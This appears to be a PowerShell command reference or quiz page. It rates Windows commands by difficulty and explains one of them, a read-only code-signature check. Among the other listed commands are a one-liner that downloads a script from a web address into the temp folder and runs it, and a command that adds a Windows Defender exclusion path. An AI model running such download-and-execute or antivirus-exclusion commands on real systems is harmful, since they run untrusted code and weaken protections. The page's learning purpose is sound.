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Get-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-Listwindows · powershell · Expert
Checks whether a binary carries a valid code signature and shows the signer details. Verifying provenance before trusting an executable is a defensive habit, and the cmdlet only reads the file.
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Get-WinEvent -LogName Security -MaxEvents 50ExpertAdd-MpPreference -ExclusionPath C:\Users\PublicExpertInvoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1ExpertGet-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmareGet-ExecutionPolicy -ListIntermediateGet-Alias iex, irm, iwr | Select-Object Name, DefinitionAdvanced